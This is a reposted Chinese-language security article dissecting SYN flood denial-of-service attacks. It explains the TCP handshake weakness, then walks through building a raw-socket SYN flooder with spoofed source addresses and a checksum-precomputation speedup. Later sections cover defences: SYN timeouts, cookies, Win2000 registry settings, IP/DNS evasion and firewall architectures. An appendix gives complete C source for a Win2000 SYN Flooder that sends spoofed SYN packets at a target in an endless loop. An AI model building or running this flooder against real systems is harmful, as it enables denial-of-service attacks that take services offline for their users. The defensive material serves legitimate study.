剖析SYN Flood***

剖析SYN Flood***(全文) 

這是一篇舊的文章。但是很經典。網絡上很少有全文的。一般都是前兩章。即所謂的上卷。這次集合成全文。方便查閱收藏。估計應該在網絡上也不好找全文成一文的。所以來源表明邪惡八進制信息安全團隊。另,代表個人向Shotgun大哥表示敬意。祝福!

剖析SYN Flood***
Shotgun
一、SYN Flood的基本原理
  SYN Flood是當前最流行的DoS(拒絕服務***)與DdoS(分佈式拒絕服務***)的方式之一,這是一種利用TCP協議缺陷,發送大量僞造的TCP連接請求,從而使得被***方資源耗盡(CPU滿負荷或內存不足)的***方式。
  要明白這種***的基本原理,還是要從TCP連接建立的過程開始說起:
大家都知道,TCP與UDP不同,它是基於連接的,也就是說:爲了在服務端和客戶端之間傳送TCP數據,必須先建立一個虛擬電路,也就是TCP連接,建立TCP連接的標準過程是這樣的:

  首先,請求端(客戶端)發送一個包含SYN標誌的TCP報文,SYN即同步(Synchronize),同步報文會指明客戶端使用的端口以及TCP連接的初始序號;

  第二步,服務器在收到客戶端的SYN報文後,將返回一個SYN+ACK的報文,表示客戶端的請求被接受,同時TCP序號被加一,ACK即確認(Acknowledgement)。

  第三步,客戶端也返回一個確認報文ACK給服務器端,同樣TCP序列號被加一,到此一個TCP連接完成。
以上的連接過程在TCP協議中被稱爲三次握手(Three-way Handshake)。
  問題就出在TCP連接的三次握手中,假設一個用戶向服務器發送了SYN報文後突然死機或掉線,那麼服務器在發出SYN+ACK應答報文後是無法收到客戶端的ACK報文的(第三次握手無法完成),這種情況下服務器端一般會重試(再次發送SYN+ACK給客戶端)並等待一段時間後丟棄這個未完成的連接,這段時間的長度我們稱爲SYN Timeout,一般來說這個時間是分鐘的數量級(大約爲30秒-2分鐘);一個用戶出現異常導致服務器的一個線程等待1分鐘並不是什麼很大的問題,但如果有一個惡意的***者大量模擬這種情況,服務器端將爲了維護一個非常大的半連接列表而消耗非常多的資源----數以萬計的半連接,即使是簡單的保存並遍歷也會消耗非常多的CPU時間和內存,何況還要不斷對這個列表中的IP進行SYN+ACK的重試。實際上如果服務器的TCP/IP棧不夠強大,最後的結果往往是堆棧溢出崩潰---即使服務器端的系統足夠強大,服務器端也將忙於處理***者僞造的TCP連接請求而無暇理睬客戶的正常請求(畢竟客戶端的正常請求比率非常之小),此時從正常客戶的角度看來,服務器失去響應,這種情況我們稱作:服務器端受到了SYN Flood***(SYN洪水***)。

  從防禦角度來說,有幾種簡單的解決方法:

  第一種是縮短SYN Timeout時間,由於SYN Flood***的效果取決於服務器上保持的SYN半連接數,這個值=SYN***的頻度 x SYN Timeout,所以通過縮短從接收到SYN報文到確定這個報文無效並丟棄改連接的時間,例如設置爲20秒以下(過低的SYN Timeout設置可能會影響客戶的正常訪問),可以成倍的降低服務器的負荷。

  第二種方法是設置SYN Cookie,就是給每一個請求連接的IP地址分配一個Cookie,如果短時間內連續受到某個IP的重複SYN報文,就認定是受到了***,以後從這個IP地址來的包會被丟棄。

  可是上述的兩種方法只能對付比較原始的SYN Flood***,縮短SYN Timeout時間僅在對方***頻度不高的情況下生效,SYN Cookie更依賴於對方使用真實的IP地址,如果***者以數萬/秒的速度發送SYN報文,同時利用SOCK_RAW隨機改寫IP報文中的源地址,以上的方法將毫無用武之地。
二、SYN Flooder源碼解讀
  下面我們來分析SYN Flooder的程序實現。

  首先,我們來看一下TCP報文的格式:

  如上圖所示,一個TCP報文由三個部分構成:20字節的IP首部、20字節的TCP首部與不定長的數據段,(實際操作時可能會有可選的IP選項,這種情況下TCP首部向後順延)由於我們只是發送一個SYN信號,並不傳遞任何數據,所以TCP數據段爲空。TCP首部的數據結構爲:

  根據TCP報文格式,我們定義一個結構TCP_HEADER用來存放TCP首部:

typedef struct _tcphdr  
 {
  USHORT th_sport;   //16位源端口
  USHORT th_dport;   //16位目的端口
  unsigned int th_seq;   //32位序列號
  unsigned int th_ack;   //32位確認號
  unsigned char th_lenres; //4位首部長度+6位保留字中的4位
  unsigned char th_flag;   //2位保留字+6位標誌位
  USHORT th_win;   //16位窗口大小
  USHORT th_sum;   //16位校驗和
  USHORT th_urp;   //16位緊急數據偏移量
 }TCP_HEADER;
通過以正確的數據填充這個結構並將TCP_HEADER.th_flag賦值爲2(二進制的00000010)我們能製造一個SYN的TCP報文,通過大量發送這個報文可以實現SYN Flood的效果。但是爲了進行IP欺騙從而隱藏自己,也爲了躲避服務器的SYN Cookie檢查,還需要直接對IP首部進行操作:

  同樣定義一個IP_HEADER來存放IP首部:

typedef struct _iphdr
 {
  unsigned char h_verlen;   //4位首部長度+4位IP版本號
  unsigned char tos;   //8位服務類型TOS
  unsigned short total_len; //16位總長度(字節)
  unsigned short ident;   //16位標識
  unsigned short frag_and_flags; //3位標誌位
  unsigned char ttl;   //8位生存時間 TTL
  unsigned char proto;   //8位協議號(TCP, UDP 或其他)
  unsigned short checksum; //16位IP首部校驗和
  unsigned int sourceIP;   //32位源IP地址
  unsigned int destIP;   //32位目的IP地址
 }IP_HEADER;

  然後通過SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));

  建立一個原始套接口,由於我們的IP源地址是僞造的,所以不能指望系統幫我們計算IP校驗和,我們得在在setsockopt中設置IP_HDRINCL告訴系統自己填充IP首部並自己計算校驗和:

  flag=TRUE;
  setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

  IP校驗和的計算方法是:首先將IP首部的校驗和字段設爲0(IP_HEADER.checksum=0),然後計算整個IP首部(包括選項)的二進制反碼的和,一個標準的校驗和函數如下所示:

USHORT checksum(USHORT *buffer, int size)
 {
  unsigned long cksum=0;
    while(size >1)
    {
       cksum+=*buffer++;
       size -=sizeof(USHORT);
      }
    if(size ) cksum += *(UCHAR*)buffer;
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
 }

  這個函數並沒有經過任何的優化,由於校驗和函數是TCP/IP協議中被調用最多函數之一,所以一般說來,在實現TCP/IP棧時,會根據操作系統對校驗和函數進行優化。
TCP首部檢驗和與IP首部校驗和的計算方法相同,在程序中使用同一個函數來計算。

  需要注意的是,由於TCP首部中不包含源地址與目標地址等信息,爲了保證TCP校驗的有效性,在進行TCP校驗和的計算時,需要增加一個TCP僞首部的校驗和,定義如下:

struct    
 {
  unsigned long saddr; //源地址
  unsigned long daddr; //目的地址
  char mbz;   //置空
  char ptcl;   //協議類型
  unsigned short tcpl; //TCP長度
 }psd_header;

  然後我們將這兩個字段複製到同一個緩衝區SendBuf中並計算TCP校驗和:

memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

  計算IP校驗和的時候不需要包括TCP僞首部:

memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));

  再將計算過校驗和的IP首部與TCP首部複製到同一個緩衝區中就可以直接發送了:

memcpy(SendBuf,&ip_header,sizeof(ip_header));
sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));

  因爲整個TCP報文中的所有部分都是我們自己寫入的(操作系統不會做任何干涉),所以我們可以在IP首部中放置隨機的源IP地址,如果僞造的源IP地址確實有人使用,他在接收到服務器的SYN+ACK報文後會發送一個RST報文(標誌位爲00000100),通知服務器端不需要等待一個無效的連接,可是如果這個僞造IP並沒有綁定在任何的主機上,不會有任何設備去通知主機該連接是無效的(這正是TCP協議的缺陷),主機將不斷重試直到SYN Timeout時間後才能丟棄這個無效的半連接。所以當***者使用主機分佈很稀疏的IP地址段進行僞裝IP的SYN Flood***時,服務器主機承受的負荷會相當的高,根據測試,一臺PIII 550MHz+128MB+100Mbps的機器使用經過初步優化的SYN Flooder程序可以以16,000包/秒的速度發送TCP SYN報文,這樣的***力已經足以拖垮大部分WEB服務器了。

  稍微動動腦筋我們就會發現,想對SYN Flooder程序進行優化是很簡單的,從程序構架來看,***時循環內的代碼主要是進行校驗和計算與緩衝區的填充,一般的思路是提高校驗和計算的速度,我甚至見過用匯編代碼編寫的校驗和函數,實際上,有另外一個變通的方法可以輕鬆實現優化而又不需要高深的編程技巧和數學知識,我們仔細研究了兩個不同源地址的TCP SYN報文後發現,兩個報文的大部分字段相同(比如目的地址、協議等等),只有源地址和校驗和不同(如果爲了隱蔽,源端口也可以有變化,但是並不影響我們算法優化的思路),如果我們事先計算好大量的源地址與校驗和的對應關係表(如果其他的字段有變化也可以加入這個表),等計算完畢了***程序就只需要單純的組合緩衝區併發送(用指針來直接操作緩衝區的特定位置,從事先計算好的對應關係表中讀出數據,替換緩衝區相應字段),這種簡單的工作完全取決於系統發送IP包的速度,與程序的效率沒有任何關係,這樣,即使是CPU主頻較低的主機也能快速的發送大量TCP SYN***包。如果考慮到緩衝區拼接的時間,甚至可以定義一個很大的緩衝區數組,填充完畢後再發送。

第三部分 SYN Flood***的監測與防禦初探

  對於SYN Flood***,目前尚沒有很好的監測和防禦方法,不過如果系統管理員熟悉***方法和系統架構,通過一系列的設定,也能從一定程度上降低被***系統的負荷,減輕負面的影響。

  一般來說,如果一個系統(或主機)負荷突然升高甚至失去響應,使用Netstat 命令能看到大量SYN_RCVD的半連接(數量>500或佔總連接數的10%以上),可以認定,這個系統(或主機)遭到了SYN Flood***。

  遭到SYN Flood***後,首先要做的是取證,通過Netstat –n –p tcp >resault.txt記錄目前所有TCP連接狀態是必要的,如果有嗅探器,或者TcpDump之類的工具,記錄TCP SYN報文的所有細節也有助於以後追查和防禦,需要記錄的字段有:源地址、IP首部中的標識、TCP首部中的序列號、TTL值等,這些信息雖然很可能是***者僞造的,但是用來分析***者的心理狀態和***程序也不無幫助。特別是TTL值,如果大量的***包似乎來自不同的IP但是TTL值卻相同,我們往往能推斷出***者與我們之間的路由器距離,至少也可以通過過濾特定TTL值的報文降低被***系統的負荷(在這種情況下TTL值與***報文不同的用戶就可以恢復正常訪問)

  前面曾經提到可以通過縮短SYN Timeout時間和設置SYN Cookie來進行SYN***保護,對於Win2000系統,還可以通過修改註冊表降低SYN Flood的危害,在註冊表中作如下改動:

  首先,打開regedit,找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters
增加一個SynAttackProtect的鍵值,類型爲REG_DWORD,取值範圍是0-2,這個值決定了系統受到SYN***時採取的保護措施,包括減少系統SYN+ACK的重試的次數等,默認值是0(沒有任何保護措施),推薦設置是2;

  增加一個TcpMaxHalfOpen的鍵值,類型爲REG_DWORD,取值範圍是100-0xFFFF,這個值是系統允許同時打開的半連接,默認情況下WIN2K PRO和SERVER是100,ADVANCED SERVER是500,這個值很難確定,取決於服務器TCP負荷的狀況和可能受到的***強度,具體的值需要經過試驗才能決定。

  增加一個TcpMaxHalfOpenRetried的鍵值,類型爲REG_DWORD,取值範圍是80-0xFFFF,默認情況下WIN2K PRO和SERVER是80,ADVANCED SERVER是400,這個值決定了在什麼情況下系統會打開SYN***保護。

  我們來分析一下Win2000的SYN***保護機制:正常情況下,Win2K對TCP連接的三次握手有一個常規的設置,包括SYN Timeout時間、SYN-ACK的重試次數和SYN報文從路由器到系統再到Winsock的延時等,這個常規設置是針對系統性能進行優化的(安全和性能往往相互矛盾)所以可以給用戶提供方便快捷的服務;一旦服務器受到***,SYN半連接的數量超過TcpMaxHalfOpenRetried的設置,系統會認爲自己受到了SYN Flood***,此時設置在SynAttackProtect鍵值中的選項開始作用,SYN Timeout時間被減短,SYN-ACK的重試次數減少,系統也會自動對緩衝區中的報文進行延時,避免對TCP/IP堆棧造成過大的衝擊,力圖將***危害減到最低;如果***強度不斷增大,超過了TcpMaxHalfOpen值,此時系統已經不能提供正常的服務了,更重要的是保證系統不會崩潰,所以系統將會丟棄任何超出TcpMaxHalfOpen值範圍的SYN報文(應該是使用隨機丟包策略),保證系統的穩定性。

  所以,對於需要進行SYN***保護的系統,我們可以測試/預測一下訪問峯值時期的半連接打開量,以其作爲參考設定TcpMaxHalfOpenRetried的值(保留一定的餘量),然後再以TcpMaxHalfOpenRetried的1.25倍作爲TcpMaxHalfOpen值,這樣可以最大限度地發揮WIN2K自身的SYN***保護機制。

  通過設置註冊表防禦SYN Flood***,採用的是“捱打”的策略,無論系統如何強大,始終不能光靠捱打支撐下去,除了捱打之外,“退讓”也是一種比較有效的方法。

  退讓策略是基於SYN Flood***代碼的一個缺陷,我們重新來分析一下SYN Flood***者的流程:SYN Flood程序有兩種***方式,基於IP的和基於域名的,前者是***者自己進行域名解析並將IP地址傳遞給***程序,後者是***程序自動進行域名解析,但是它們有一點是相同的,就是一旦***開始,將不會再進行域名解析,我們的切入點正是這裏:假設一臺服務器在受到SYN Flood***後迅速更換自己的IP地址,那麼***者仍在不斷***的只是一個空的IP地址,並沒有任何主機,而防禦方只要將DNS解析更改到新的IP地址就能在很短的時間內(取決於DNS的刷新時間)恢復用戶通過域名進行的正常訪問。爲了迷惑***者,我們甚至可以放置一臺“犧牲”服務器讓***者滿足於***的“效果”(由於DNS緩衝的原因,只要***者的瀏覽器不重起,他訪問的仍然是原先的IP地址)。

同樣的原因,在衆多的負載均衡架構中,基於DNS解析的負載均衡本身就擁有對SYN Flood的免疫力,基於DNS解析的負載均衡能將用戶的請求分配到不同IP的服務器主機上,***者***的永遠只是其中一臺服務器,雖然說***者也能不斷去進行DNS請求從而打破這種“退讓”策略,但是一來這樣增加了***者的成本,二來過多的DNS請求可以幫助我們追查***者的真正蹤跡(DNS請求不同於SYN***,是需要返回數據的,所以很難進行IP僞裝)。

  對於防火牆來說,防禦SYN Flood***的方法取決於防火牆工作的基本原理,一般說來,防火牆可以工作在TCP層之上或IP層之下,工作在TCP層之上的防火牆稱爲網關型防火牆,網關型防火牆與服務器、客戶機之間的關係如下所示:

  如上圖所示,客戶機與服務器之間並沒有真正的TCP連接,客戶機與服務器之間的所有數據交換都是通過防火牆代理的,外部的DNS解析也同樣指向防火牆,所以如果網站被***,真正受到***的是防火牆,這種防火牆的優點是穩定性好,抗打擊能力強,但是因爲所有的TCP報文都需要經過防火牆轉發,所以效率比較低由於客戶機並不直接與服務器建立連接,在TCP連接沒有完成時防火牆不會去向後臺的服務器建立新的TCP連接,所以***者無法越過防火牆直接***後臺服務器,只要防火牆本身做的足夠強壯,這種架構可以抵抗相當強度的SYN Flood***。但是由於防火牆實際建立的TCP連接數爲用戶連接數的兩倍(防火牆兩端都需要建立TCP連接),同時又代理了所有的來自客戶端的TCP請求和數據傳送,在系統訪問量較大時,防火牆自身的負荷會比較高,所以這種架構並不能適用於大型網站。(我感覺,對於這樣的防火牆架構,使用TCP_STATE***估計會相當有效:)

  工作在IP層或IP層之下的防火牆(路由型防火牆)工作原理有所不同,它與服務器、客戶機的關係如下所示:

  客戶機直接與服務器進行TCP連接,防火牆起的是路由器的作用,它截獲所有通過的包並進行過濾,通過過濾的包被轉發給服務器,外部的DNS解析也直接指向服務器,這種防火牆的優點是效率高,可以適應100Mbps-1Gbps的流量,但是這種防火牆如果配置不當,不僅可以讓***者越過防火牆直接***內部服務器,甚至有可能放大***的強度,導致整個系統崩潰。

  在這兩種基本模型之外,有一種新的防火牆模型,我個人認爲還是比較巧妙的,它集中了兩種防火牆的優勢,這種防火牆的工作原理如下所示:

第一階段,客戶機請求與防火牆建立連接:

第二階段,防火牆僞裝成客戶機與後臺的服務器建立連接

第三階段,之後所有從客戶機來的TCP報文防火牆都直接轉發給後臺的服務器

  這種結構吸取了上兩種防火牆的優點,既能完全控制所有的SYN報文,又不需要對所有的TCP數據報文進行代理,是一種兩全其美的方法。

  近來,國外和國內的一些防火牆廠商開始研究帶寬控制技術,如果能真正做到嚴格控制、分配帶寬,就能很大程度上防禦絕大多數的拒絕服務***,我們還是拭目以待吧。
附錄:Win2000下的SYN Flood程序
改編自Linux下Zakath編寫的SYN Flooder
編譯環境:VC++6.0,編譯時需要包含ws2_32.lib
//////////////////////////////////////////////////////////////////////////
//                                               //
// SYN Flooder For Win2K by Shotgun                         //
//                                               //
// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath         //
// THANX Lion Hook FOR PROGRAM OPTIMIZATION                   //
//                                               //
// Released: [2001.4]                                 //
// Author: [Shotgun]                               //
// Homepage:                                       //
//   [http://IT.Xici.Net]                         //
//   [http://WWW.Patching.Net]                     //
//                                               //
//////////////////////////////////////////////////////////////////////////
#include
#include
#include
#include
#define SEQ 0x28376839
#define SYN_DEST_IP "192.168.15.250"//被***的IP
#define FAKE_IP "10.168.150.1" //僞裝IP的起始值,本程序的僞裝IP覆蓋一個B類網段
#define STATUS_FAILED 0xFFFF //錯誤返回值
typedef struct _iphdr   //定義IP首部
{
unsigned char h_verlen;   //4位首部長度,4位IP版本號
unsigned char tos;   //8位服務類型TOS
unsigned short total_len; //16位總長度(字節)
unsigned short ident;   //16位標識
unsigned short frag_and_flags; //3位標誌位
unsigned char ttl;   //8位生存時間 TTL
unsigned char proto;   //8位協議 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗和
unsigned int sourceIP;   //32位源IP地址
unsigned int destIP;   //32位目的IP地址
}IP_HEADER;
struct     //定義TCP僞首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl;   //協議類型
unsigned short tcpl; //TCP長度
}psd_header;
typedef struct _tcphdr   //定義TCP首部
{
USHORT th_sport;   //16位源端口
USHORT th_dport;   //16位目的端口
unsigned int th_seq;   //32位序列號
unsigned int th_ack;   //32位確認號
unsigned char th_lenres; //4位首部長度/6位保留字
unsigned char th_flag;   //6位標誌位
USHORT th_win;   //16位窗口大小
USHORT th_sum;   //16位校驗和
USHORT th_urp;   //16位緊急數據偏移量
}TCP_HEADER;
//CheckSum:計算校驗和的子函數
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
  while(size >1) {
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size ) {
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
// SynFlood主函數
int main()
{
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
int TimeOut=2000,SendSEQ=0;
char SendBuf[128]={0};
char RecvBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
if (SockRaw==INVALID_SOCKET){
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
flag=TRUE;
//設置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
If (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n");
__try{
//設置發送超時
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR){
  fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
  __leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//高四位IP版本號,低四位首部長度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位總長度(字節)
ip_header.ident=1;         //16位標識
ip_header.frag_and_flags=0;         //3位標誌位
ip_header.ttl=128;         //8位生存時間TTL
ip_header.proto=IPPROTO_TCP;       //8位協議(TCP,UDP…)
ip_header.checksum=0;         //16位IP首部校驗和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);     //32位源IP地址
ip_header.destIP=inet_addr(SYN_DEST_IP);     //32位目的IP地址
//填充TCP首部
tcp_header.th_sport=htons(7000);       //源端口號
tcp_header.th_dport=htons(8080);       //目的端口號
tcp_header.th_seq=htonl(SEQ+SendSEQ);       //SYN序列號
tcp_header.th_ack=0;         //ACK序列號置爲0
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);     //TCP長度和保留位
tcp_header.th_flag=2;         //SYN 標誌
tcp_header.th_win=htons(16384);       //窗口大小
tcp_header.th_urp=0;         //偏移
tcp_header.th_sum=0;         //校驗和
//填充TCP僞首部(用於計算校驗和,並不真正發送)
psd_header.saddr=ip_header.sourceIP;                         //源地址
psd_header.daddr=ip_header.destIP;                         //目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;                             //協議類型
psd_header.tcpl=htons(sizeof(tcp_header));                     //TCP首部長度
while(1) {
  //每發送10,240個報文輸出一個標示符
  printf(".");
  for(counter=0;counter<10240;counter++){
  if(SendSEQ++==65536) SendSEQ=1;       //序列號循環
  //更改IP首部
  ip_header.checksum=0;       //16位IP首部校驗和
  ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);   //32位源IP地址
  //更改TCP首部
  tcp_header.th_seq=htonl(SEQ+SendSEQ);     //SYN序列號
  tcp_header.th_sum=0;       //校驗和
  //更改TCP Pseudo Header
  psd_header.saddr=ip_header.sourceIP;  
  //計算TCP校驗和,計算校驗和時需要包括TCP pseudo header  
  memcpy(SendBuf,&psd_header,sizeof(psd_header));
  memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
  tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
  //計算IP校驗和
  memcpy(SendBuf,&ip_header,sizeof(ip_header));
  memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
  memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
  datasize=sizeof(ip_header)+sizeof(tcp_header);
  ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
  //填充發送緩衝區
  memcpy(SendBuf,&ip_header,sizeof(ip_header));
  //發送TCP報文
  ErrorCode=sendto(SockRaw,
    SendBuf,
    datasize,
    0,
    (struct sockaddr*) &DestAddr,
    sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
  }//End of for
}//End of While
}//End of try
__finally {
if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
WSACleanup();
}
return 0;
}
 
 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章